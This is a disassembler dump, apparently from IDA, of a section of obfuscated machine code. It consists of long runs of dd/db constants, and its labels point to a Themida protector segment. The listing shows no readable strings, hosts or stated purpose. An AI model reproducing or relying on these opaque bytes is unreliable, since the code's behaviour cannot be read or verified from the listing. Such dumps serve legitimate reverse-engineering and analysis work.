		dd 0F9B70F06h, 8ADB5FFh, 0B58B0615h, 6150391h, 2E2195FFh
		dd 0BF0F0615h, 78B890F2h, 6A123456h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F618C356h
		dd 0DF979D8Dh, 70E90618h, 0E8FFFFF8h, 8, 87B0A7EEh, 0C3A61B5Eh
		dd 2C918589h, 0B58B0615h, 6151DC9h, 0FC18B5Eh, 686h, 5DBD8900h
		dd 0EB061513h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 1FEFCFB3h, 8999D50Fh
		dd 1521E195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0BCBFB4C6h
		dd 6E3DFF93h, 8DF78B9Bh, 15279D85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 36DDB934h
		dd 8E9E190h, 0AE000000h, 0F3B14738h, 0E9099767h, 0Bh, 0AAF08318h
		dd 7EEED8B1h, 90EAE3A8h, 905F5750h, 1D6DBD8Bh, 6A0615h
		dd 160DBD31h, 6A0615h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0F6C35141h, 0B589C029h, 61511E5h, 0E1B7858Dh
		dd 0F98B0618h, 0F4E7D681h, 0C0832156h, 0F88B6605h, 0EE8h
		dd 5FE74400h, 0AFA6AFEFh, 0CE558D77h, 5FB8A7E6h, 850F5390h
		dd 0
a_pYeiwrj	db '_P¿YEiWj',0
		dw 0E855h
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 77C35545h, 8B66A178h
		dd 0F006AFBh, 0B589FBB7h, 6152F15h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E9CA23C3h
		dd 6, 5372D7CBh, 95FF743Ch, 6152679h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 3DC35646h, 554D1FFDh, 2C898501h
		dd 9D8D0615h, 6189C15h,	2264D781h, 0B5896C5Ch, 6151335h
		dd 0BD8BD3FFh, 6152665h, 153585FFh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 49C411C3h
		dd 0D2E9F78Bh, 0E800000Dh, 0
		dd 0C1ED815Dh, 6A0618E1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 384DC352h, 9964971Ch
		dd 759D2999h, 81061517h, 1508ADBDh, 7D006h, 6B860F00h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0DC14C356h, 81663425h,	8BF5E4DEh
		dd 1504E19Dh, 0B1A1BF06h, 8B5265A3h, 151D1DB5h,	0E3815E06h
		dd 100h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0BDC35646h, 43D987C1h, 0AE9DDABh, 90000000h, 0C7BB1366h
		dd 0B0E3CEC8h, 0FDB0BA3h, 0AE85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4EEA6669h
		dd 8BF6103Eh, 0EEBD83F3h, 618DFh, 30840Fh, 0CE810000h
		dd 57E32747h, 82E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 594C1094h, 9AD9589h, 85C70615h
		dd 618DFEEh, 1,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	1BC35242h, 0F7182AE6h, 2759BD8Bh, 0E9520615h, 0Bh
		dd 0EB22C6F4h, 22EB0BDBh, 5FCF511Eh, 2F81B58Bh,	10E90615h
		dd 0C7000000h, 18DFEE85h, 6, 0C9B58900h, 8D061509h, 1504E19Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0C2D31900h, 6C6E34F8h, 23819913h, 0FFFFFEFFh
		dd 20F8EF81h, 8C6653C3h, 248ABFDBh, 0C3F65565h,	2D840F04h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FFE2C350h, 1518A195h,	0F28B6606h
		dd 23BE6690h, 0FC90504Ah, 3DAE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 362714Fh, 8C18098Dh
		dd 31F84A48h, 153371BDh, 8900B006h, 151D25B5h, 0F870E606h
		dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 6483ECC3h, 8960D845h, 1502BDBDh, 0F9BD8B06h
		dd 61061511h, 6AD8B60Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9DBCC351h, 6BAh, 5E85000h
		dd 0A000000h, 37651E4Eh, 0A41BE66h, 0B58B5F5Eh,	6151661h
		dd 0BD8BC38Bh, 61520F5h, 6A04E8C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 21BCC350h
		dd 7B5528D2h, 5E8h, 0C321AF00h,	0BD8B95E0h, 6152395h, 0E2F7665Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 19C35343h
		dd 0B919589h, 0BD890615h, 6150C75h, 8B66D82Bh, 0BF6693F1h
		dd 0F50D5EDh, 2584h, 0FE800h, 72FE0000h, 6C26F834h, 94039B8Bh
		dd 0FB5A44D6h, 0AE835h,	54D20000h, 66DEBA0Ch, 757BA001h
		dd 6A935F5Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0D6F2C356h, 372F1D9Ah,	0B92A2124h
		dd 8ADB5FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 7EE2A5C3h, 0FC604434h, 17718D33h
		dd 0FF610615h, 152E2195h, 0FBBF0F06h, 70E600B0h, 8D2971E4h
		dd 615005Dh, 830F613Ch,	227h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 7CC35040h, 0B60F2DF0h, 6BAD8h
		dd 8E80000h, 45000000h,	0CE87A01Dh, 0E882FAC0h,	12h, 6DD12A89h
		dd 45480D73h, 241E3F24h, 0C364B19Eh, 5E517735h,	0C38B5E5Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6EC35747h
		dd 8FE03DF1h, 54FDB0BDh, 0DF816681h, 0B5032F20h, 61508C5h
		dd 6A04E8C1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0BE67C353h, 153473F4h,	0BE2F766h
		dd 150589B5h, 58D82B06h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 90C35646h, 0BF0F7E87h, 0FD82BF7h, 14E88h
		dd 7B900h, 8B660000h, 0C183F2h,	3A7694BFh, 0FD93B1Eh, 13686h
		dd 0FABE6600h, 0D98C66D7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 5EC35040h, 0EF4A5B7Bh, 8BED99A0h, 152709B5h
		dd 4C1F606h, 0F5840Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0CC2AD2C3h, 56ABFEE5h
		dd 0A195FF5Eh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8166C355h, 19D95DEEh
		dd 6A5B77h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0FC431CC3h, 0B50B199Eh, 6150341h,	9E8h, 0D5DDBE00h
		dd 0D8A3C5EFh, 0AE96620h, 0A8000000h, 0F3F08240h, 571DD274h
		dd 0C32B5E36h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	7C35040h, 8A8BBDC0h, 18BB6660h,	558D3126h, 61061525h
		dd 8343Dh, 2C860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 5637C355h, 5EFEB70Fh
		dd 0EE9h, 23C78100h, 8B04269Bh,	0DD9589C0h, 8B061519h
		dd 51D88BC3h, 7459BE66h, 7185C75Eh, 17061528h, 6A77F7F1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0C36FC352h, 0F1BD8BD6h, 89061517h, 1520A58Dh
		dd 6AC08B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 3C89C357h, 9680CF81h, 0BD814300h
		dd 61508ADh, 7D0h, 1D850Fh, 0BD8B0000h,	6150165h, 8AD85FFh
		dd 0CE90615h, 47000000h, 0EB5FC3C6h, 10067846h,	0FFA1506Eh
		dd 1508ADB5h, 0F28B6606h, 2E2195FFh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 57F521C3h
		dd 6D97EB5Eh, 6A4090E9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3425C353h, 0A50AF185h
		dd 0E87EFA84h, 11h, 0D2B84127h,	301120D9h, 23B1979Fh, 15B4C4F6h
		dd 0F9BF0F86h, 29BD835Fh, 6150Ah, 0B2840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 5C4F28C3h, 591D7424h, 1E01BD83h, 0F000615h, 8384h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 895177D4h, 1506C185h, 85295F06h, 61503C5h, 0A2995FFh
		dd 0BF660615h, 0C00B2B3Bh, 46840Fh, 0FA8B0000h,	4F9E8D8Dh
		dd 7E90615h, 58000000h,	0D36532A6h, 5B8516Eh, 3000000h
		dd 150D99B5h, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 7C1DC355h, 0BD89C5E1h
		dd 6151D41h, 17F5BD83h,	0F000615h, 60984h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 8229B83Eh, 1BD837Fh,	6151Eh,	5DC840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 5C5A07C3h, 2856741h,	0F38B1975h, 7118D8Dh, 0BD290615h
		dd 6152FC1h, 1C75F57h, 44B27C84h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5C35646h, 1985BD8Bh
		dd 9D010615h, 6150AE9h,	0CFCB0181h, 89501499h, 1502A9BDh
		dd 0B58B5F06h, 615067Dh, 340441C7h, 0E8CE706Bh,	7, 196C3AFh
		dd 0E88D3670h, 5, 0D0F57096h, 21BD8BF1h, 5F061503h, 441815Fh
		dd 31D6D710h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	0E5C35747h, 810F9E8Eh, 1, 8B6656F9h, 0BD895FF1h
		dd 6150C51h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0FD5F45C3h, 0B6660DF9h, 5336C0BAh
		dd 214DB501h, 8B5F0615h, 11858DFEh, 0F061507h, 688h, 0B5B58900h
		dd 9006152Ah, 50F78B66h, 786ABF60h, 38BB4E3Bh, 61261FF2h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 17049A77h, 48BBC66Fh, 0F18B6653h, 17F595FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 757E85C3h, 0B18589ADh, 8D06152Ch,	1507118Dh
		dd 31BE6606h, 1C772h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0F9C355h, 4E7DC405h
		dd 0FAB70F8Fh, 441C7h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1C3FC355h
		dd 0EE92Ch, 0C4220000h,	0D211D220h, 1AFE7278h, 8938D086h
		dd 840FC00Bh, 50h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0CBC35242h, 0BC8B0F35h, 0E309263Fh, 9E8D8D55h
		dd 0F06154Fh, 0C80h, 6820F00h, 89000000h, 152A3D9Dh, 5B806h
		dd 9D310000h, 61510A9h,	0B58BE1FFh, 615130Dh, 7118D8Dh
		dd 0A7BE0615h, 8B7EEE20h, 7C01C7F9h, 8B44AA72h,	152879BDh
		dd 0CB018106h, 531499CFh, 2CA1BD89h, 0E95E0615h, 0Ah, 0B1077759h
		dd 0E13C8EB3h, 41C7EB05h, 78753C04h, 50006ACEh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0AB4B84D4h
		dd 799797C5h, 8E896h, 689A0000h, 0B86936C4h, 0B5897A2Ah
		dd 6151159h, 441815Eh, 31D6D710h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 6AC35242h, 1CFE9CD0h, 0B79B4FBDh
		dd 8D006A11h, 15071185h, 8298BF06h, 0E9503F92h,	0Fh, 0F0048D14h
		dd 3FF10025h, 5C2CB905h, 894F4913h, 0B58B2404h,	6152AB5h
		dd 17F595FFh, 0F98B0615h, 7118D8Dh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FCFC37C3h
		dd 1C7h, 0F510000h, 48Ah, 61BE6600h, 41C75F54h,	4, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3CDF60D6h, 0D318D640h, 0FC00B53h, 6084h, 9E8D8D00h
		dd 0BE06154Fh, 5D8F7A11h, 5B8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8817F742h
		dd 3D950907h, 2B06152Dh, 152615B5h, 6AE1FF06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 8FAFC355h, 0E71EC012h, 118D8D89h, 6A061507h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 7C64C351h, 95B58B7Eh, 0C7061511h, 0CA95A501h, 56006A54h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 2570E691h, 0FE980h, 0D9460000h, 0DA6EBA3Ch, 77B5B91Ch
		dd 0CF13FA13h, 0CB0181CFh, 291499CFh, 152AC9BDh, 441C706h
		dd 0CE5F5969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0D6C35141h, 2C9CD08h, 2B3DBD8Bh, 8B0F0615h, 3
		dd 81F0B70Fh, 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 35DE3BC3h, 3B319EA4h
		dd 89006A2Ch, 1507ADB5h, 0D3BE6606h, 11858DE6h,	6A061507h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0FC7EC352h, 3B888B8Bh, 9BE41B5h, 1511D9B5h
		dd 8B0F9006h, 0
		dd 10E950h, 50370000h, 689A5350h, 0B86936C4h, 52F57A2Ah
		dd 6A9033E6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0FBE9C356h, 0BA3BEF2h,	6CCAC8B3h
		dd 17F595FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 65AADCC3h, 118D8DDBh, 6A061507h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 5FCCC353h, 0BE66603Ah, 8509ABDAh,	61528A5h
		dd 1C761h, 8B000000h, 151E19B5h, 441C706h, 0
		dd 0BF98B66h, 3F840FC0h, 9000000h, 151365BDh, 9E8D8D06h
		dd 8906154Fh, 1519B99Dh, 5B806h, 0E1FF0000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6DC35646h, 3656A724h
		dd 0BF660C9Bh, 0CA030658h, 0FFF256E9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0B08CE0C4h, 89DD55F2h
		db 95h,	0D5h, 18h
byte_5B89BB	db 15h			; DATA XREF: Themida_:0057AB0Co
		dd 6AC18B06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 1E1CC355h, 703D816Bh, 0EB4EC1D2h
		dd 0FE9h, 26BE100h, 0DAF1B56Bh,	0FCD986D5h, 0D57EE54Ch
		dd 4EBh, 4EBE0000h, 0F5AF3F1h, 189h, 858DFC00h,	615279Dh
		dd 1CB59D89h, 81660615h, 90FCE2EEh, 5E8h, 4856B100h, 8B57DAE4h
		dd 505F5EF2h, 0DCE78190h, 6A27F4A3h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0F8529A13h
		dd 0F1B70F5Eh, 0CE8006Ah, 31000000h, 0E2495C22h, 67172CFAh
		dd 29D1D48Bh, 151605B5h, 858D5E06h, 618F140h, 1A29B58Bh
		dd 0C0830615h, 0F6816605h, 0E890D80Eh, 9, 356584FEh, 0AC5E479h
		dd 0F525031h, 5A5E5331h, 0BF505F58h, 4227AD0Bh,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0B0BBB57h, 89496E3Bh, 151A6585h, 3DBD3306h, 6A061502h
		dd 0F98B6600h, 8D29006Ah, 6151945h, 267995FFh, 81660615h
		dd 8DD111E6h, 189C159Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0B58BABB1h, 6151175h
		dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 135090C3h, 0F82085FDh, 0CD850150h, 5F061507h
		dd 153585FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 9B33DAC3h, 25CD8C6Bh, 59BD8BDBh
		dd 0E906152Ch, 882h
dword_5B8B74	dd 0E8h, 0ED815D00h, 618F14Ah, 0D759D89h, 0BD810615h, 61508ADh
					; DATA XREF: Themida_:0057B494o
		dd 7D0h, 168860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 9D8B15C3h, 615108Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AEC35242h
		dd 0E38122h, 6A000001h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 593FC351h, 0EB96DDD9h
		dd 0DB0B1E8Fh, 94850Fh,	0BD8B0000h, 6152DF5h, 0EFCBBD83h
		dd 0F000618h, 1184h, 99B58B00h,	0E9061505h, 0AAh, 21799501h
		dd 85C70615h, 618EFCBh,	1, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 48C35646h, 31DCE0F4h,	75E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0BA7BFE5h, 880F18C7h, 1Ah, 0EE8h, 265E9800h,	0B47E623Ah
		dd 0CC9F5F17h, 89BE5DC8h, 15019D95h, 85C75F06h,	618EFCBh
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 98C35242h
		dd 27A5FF4Bh, 0CCCC6300h, 8D0Fh, 9D8D0000h, 615108Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 6BC35141h, 2BDF8166h
		dd 0FF238163h, 66FFFFFEh, 8C66F18Bh, 53006ADBh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 40B8EF92h
		dd 75329672h, 0F6F9DAC9h, 840F04C3h, 59h, 999B58Bh, 95FF0615h
		dd 61518A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0F8C35747h, 31D1C6C5h, 820F50E4h, 0
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 81AFC351h, 0C735BEEEh,	43BE930h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 4A92E0C3h, 0DE9h,	0A765F00h, 0CEB40704h
		dd 3DE3B157h, 0B0F3EAh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 20C35040h, 8F0F8Fh, 0E6000000h, 68F0F70h
		dd 81000000h, 0F7CDEDD7h, 0F71E43Ah, 0B60FF2BFh, 52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 5ADF4ECDh, 10E9h, 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh
		dd 5AB64611h, 7BBF6065h, 0E97DA4BFh, 9,	9736FA0Ch, 48DB8A0Eh
		dd 6BA61F3h, 0E9000000h, 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h
		dd 41B4C048h, 8960E70Fh, 151CEDB5h, 0FC38B06h, 8Ch, 4E8C100h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h
		dd 565F9860h, 8E8BD1Eh,	54000000h, 1699AB9Fh, 0FC15FB9h
		dd 68Fh, 0FDBD8B00h, 5F06150Ch,	89E2F766h, 15262D95h, 33D82B06h
		dd 150591BDh, 60605006h, 0CE9h,	0AA1DB700h, 0B24AC47Ch
		dd 63C294CFh, 3E9ABB96h, 60614901h, 0B6C88B66h,	896161D7h
		dd 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 84194BC3h, 42C434FEh, 0A9DF8166h,	0F38B66E1h
		dd 8ADB5FFh, 840F0615h,	6, 1719589h, 7E90615h, 50000000h
		dd 7FC1C585h, 95FF7B4Ah, 6152E21h, 1A458509h, 0B58B0615h
		dd 6151A21h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 6C7037C3h, 0CBDAC72Dh, 6DB50306h
		dd 52061529h, 55D78166h, 70E65E08h, 3425BD8Bh, 71E40615h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 91C35242h
		dd 1E59AA28h, 0DE90B9Eh, 0B0000000h, 86F9A44Eh,	399396F5h
		dd 9065B101h, 830F613Ch, 215h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0FBC35141h,	0E1BDC699h, 0FD8B60Fh
		dd 1381h, 0EE900h, 154A0000h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch
		dd 0BAF18B66h, 6, 421B58Bh, 0C38B0615h,	19E9BD8Bh, 0E8C10615h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0A6CA7A51h, 0F106D5Ch, 0FE2F766h, 585h
		dd 0E7CABE00h, 0D82B3276h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0BDC35545h, 597F66A4h, 0EC11C499h, 6820FAEh
		dd 8B000000h, 15179DBDh, 0D82B5806h, 153880Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0DF81F4C3h, 1FF9BEE6h, 7B9h,	0DE800h, 0B22B0000h, 0CF4993E6h
		dd 818377A5h, 0E9A451E5h, 0Ch, 0B62DB54Fh, 0F0232BF7h
		dd 2AAC7E0Ah, 0C1835Fh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 85C35040h, 12E9h, 7180FC00h, 0C69C38CDh
		dd 0C61BBE1Ah, 62EE745Fh, 3B6722EAh, 0CA860FD9h, 0F000000h
		dd 8501F2B7h, 615077Dh,	0F6D98C66h, 840F04C1h, 0A9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 82C35646h, 2AB6D626h
		dd 0DE9A9108h, 18A195FFh, 0BD890615h, 615177Dh,	7E85Bh
		dd 0AA8C0000h, 0FD2CC835h, 0CE9F8h, 0E9DE0000h,	49300B62h
		dd 0FB2F517Eh, 2B5F0B88h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 3D9344D5h
		dd 834h, 2F860Fh, 7E90000h, 0FB000000h,	290C794Dh, 2AE9240Eh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 544EC356h, 0FC08B98h, 48Ch, 50BF6600h
		dd 8BC38B34h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 2635F074h, 10E87607h, 0C0000000h
		dd 422A5011h, 1EF7535Bh, 0C4B9ADECh, 53166131h,	585BD89h
		dd 5E5E0615h, 4E185C7h,	0D75D0615h, 14E91AA7h, 12000000h
		dd 89A6B170h, 0C99A5ABDh, 889D72D1h, 870515EDh,	8BB1535Dh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 86B28B85h, 0D953138h, 6606152Fh,	819BA2BEh
		dd 1508ADBDh, 7D006h, 32850F00h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4AB4C356h
		dd 8AD85FFh, 9E80615h, 0A7000000h, 0C9B3656h, 0EE39D653h
		dd 0ADB5FF5Fh, 6A061508h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0A750C355h,	8207B2F2h
		dd 238745BDh, 151089B5h, 2195FF06h, 6006152Eh, 2ED9589h
		dd 0BD8B0615h, 6151109h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0DF596DC3h, 0FFCD87Fh
		dd 684h, 1DB58B00h, 8B061507h, 151841BDh, 0F6BF0F06h, 6AFB8B66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0BAFAC357h, 54F06D3Ch, 0F56D56Ah,	0C87h
		dd 0F5BD8B00h, 0F061500h, 81h, 49958900h, 89061511h, 1515F9BDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 5A55F176h, 418D0942h, 6A061521h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 4CDFC357h, 0E9B87E7Eh, 6A760074h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2B5EC355h
		dd 1AE22958h, 0FFABF0Fh, 2086h,	6E800h,	48CD0000h, 8E6B8D85h
		dd 10898589h, 0E95F0615h, 9, 68151E3Eh,	0D29C04E9h, 0F77EE955h
		dd 1CE9FFFFh, 44000000h, 462429h, 5 dup(0)
		dd 0E9000000h, 4F2h, 0B045B511h, 0E78EFE83h, 0A84DBD38h
		dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh
		dd 65C65D38h, 0A7B720F5h, 9E0BF51Ch, 45F77816h,	96E7864Fh
		dd 9D3204C6h, 4FBF3CEDh, 0E5446D6Fh, 0D94C4175h, 10860DB0h
		dd 96806A3Bh, 0C8AD1D9Dh, 2E68D85Bh, 5046B635h,	286EDE63h
		dd 497E31B8h, 7A647AEAh, 0D94CBC39h, 10860DB0h,	0F5806A3Bh
		dd 0A74EBE3Eh, 1570FC78h, 0B39C71A5h, 99096E83h, 0C0EF969Dh
		dd 8144A507h, 10860D58h, 0D9A350BAh, 52CECFD7h,	98876E41h
		dd 86BAB1Bh, 10863CC4h,	29208F26h, 97A8E7C4h, 704Ch, 0C7246000h
		dd 0BFE45F57h, 0BB1086F2h, 346FDDFh, 0EA1086F2h, 0E858DAD9h
		dd 21289702h, 97A81A9Ch, 0D24h,	9B191A00h, 3D1C0C2Bh, 6CF2C9B1h
		dd 0C524967Eh, 0EC57B839h, 1086F2A5h, 5E587748h, 3E78E845h
		dd 55416E41h, 296DDD5Ch, 8EEF4E63h, 86F292B7h, 67485910h
		dd 0B2228683h, 5A85EC84h, 0A7179B98h, 73E346C3h, 0A22E8DA2h
		dd 0F89DB222h, 0E3624F34h, 0A04A4373h, 979F0F73h, 70FC7CB5h
		dd 0DE8CA313h, 5A5CCC2Dh, 0C7F69Fh, 0D7831282h,	749C35FEh
		dd 0CB93193Ah, 86D4D1F8h, 0DF8B9C10h, 0D570D132h, 1086D48Ch
		dd 4DF363E2h, 7963537Ch, 0A924045Ch, 7416EA8Fh,	47AA36B7h
		dd 3CBEF8D7h, 0B8E1647Ah, 0B61086E0h, 555EC232h, 78DF793Ch
		dd 9A705F54h, 4499B01Fh, 0AC97A87Dh, 5Fh, 3AC62480h, 724B4BBBh
		dd 0E85B815Dh, 1086F2A1h, 0A58F7B4Ch, 0D5C1318Ch, 0DCEBD259h
